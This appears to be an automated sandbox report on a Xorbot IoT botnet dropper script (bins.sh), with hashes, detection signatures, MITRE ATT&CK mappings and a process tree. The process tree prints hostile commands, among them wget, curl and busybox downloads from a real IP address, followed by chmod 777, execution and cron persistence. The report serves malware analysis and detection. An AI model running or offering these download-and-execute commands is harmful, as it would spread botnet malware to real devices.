xorbot | 5143e34bf3393269d1bc6de12af0e0ec3abb0bb7ba6b656e742e8010a278da6e

Analysis

max time kernel
149s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/02/2025, 00:31

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General

Target

bins.sh
Size

10KB
MD5

a143188f8eb4f1ec65578ca97c3910b9
SHA1

25f0c491fd127130f5131ca32c4439e10d74109c
SHA256

5143e34bf3393269d1bc6de12af0e0ec3abb0bb7ba6b656e742e8010a278da6e
SHA512

d76964706ecd5338d050d14dbfa2df3499bb795de50494cdb7ad835648403aae57db6edfb5998e0c68ec88a0c390ab6acb73dbb16979432ce1cddaaff8eacf29
SSDEEP

96:1kdkNkBCkDknk/QHdAI+eIMlG+CDc8eoIXaW6d4AIIyJIMHQiG+CDc8zGoIXaW8C:ExQHdAleIMlNoIXaW6jqIMnoIXaW4yt

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1502) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
791	chmod
676	chmod
688	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v	677	bins.sh
/tmp/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn	689	bins.sh
/tmp/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O	792	bins.sh

Renames itself 1 IoCs

pid	Process
690	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.69l3tR	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/928/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/929/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/17/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/645/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/657/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/710/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/713/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/732/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/852/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/941/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/700/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/752/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/860/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/952/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/975/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/1025/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/1028/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/1033/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/899/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/932/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/978/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/1031/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/1032/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/1035/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/1045/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/1047/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/6/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/43/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/716/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/719/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/743/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/981/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/711/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/746/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/783/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/825/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/908/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/10/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/14/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/881/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/963/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/989/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/990/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/995/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/9/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/165/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/644/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/728/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/823/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/880/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/953/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/966/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/789/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/927/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/988/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/1038/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/1073/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/814/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/912/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/944/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/955/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/967/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
File opened for reading	/proc/22/cmdline	Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn	busybox
File opened for modification	/tmp/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O	busybox
File opened for modification	/tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v	wget
File opened for modification	/tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v	curl
File opened for modification	/tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v	busybox
File opened for modification	/tmp/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn	wget
File opened for modification	/tmp/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:647
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:649
- /usr/bin/wget
  wget http://37.44.238.88/bins/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
  2⤵
  - Writes file to tmp directory
  PID:655
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:664
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
  2⤵
  - Writes file to tmp directory
  PID:673
- /bin/chmod
  chmod 777 jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
  ./jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
  2⤵
  PID:677
- /bin/rm
  rm jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
  2⤵
  PID:679
- /usr/bin/wget
  wget http://37.44.238.88/bins/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
  2⤵
  - Writes file to tmp directory
  PID:681
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:684
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
  2⤵
  - Writes file to tmp directory
  PID:687
- /bin/chmod
  chmod 777 Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
  2⤵
  - File and Directory Permissions Modification
  PID:688
- /tmp/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
  ./Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:689
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:691
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:692
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:693
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:694
- /bin/rm
  rm Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
  2⤵
  PID:696
- /usr/bin/wget
  wget http://37.44.238.88/bins/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
  2⤵
  PID:699
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
  2⤵
  PID:784
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
  2⤵
  - Writes file to tmp directory
  PID:789
- /bin/chmod
  chmod 777 YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
  ./YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
  2⤵
  PID:792
- /bin/rm
  rm YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O
  2⤵
  PID:793
- /usr/bin/wget
  wget http://37.44.238.88/bins/7PAHZgnGMuF6rTP0UzYB0XN01vNYZs51T0
  2⤵
  PID:794

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/YnwbHsE5PRgQqi8a4c16V3PEXNYMVo4H8O

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.69l3tR

Filesize
210B

MD5
dc9e1b12c8dfc1634380e48ed62102c6

SHA1
6847bfaf6d883a5b4abbf7ba470658d5205faea8

SHA256
7a4e5c9b746c4376c8947e3e74e67b4d7c7d0402105f918904bfa2604bf5cfc2

SHA512
68ac164fbdd1ea5ece4c95aeb679b8b55c1b73cd8665dd45f46ac72cb49fea4570c24acac41ccae9383a00312fb6c7e313a407d815300d7e1db9ae3ec81ecad0

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads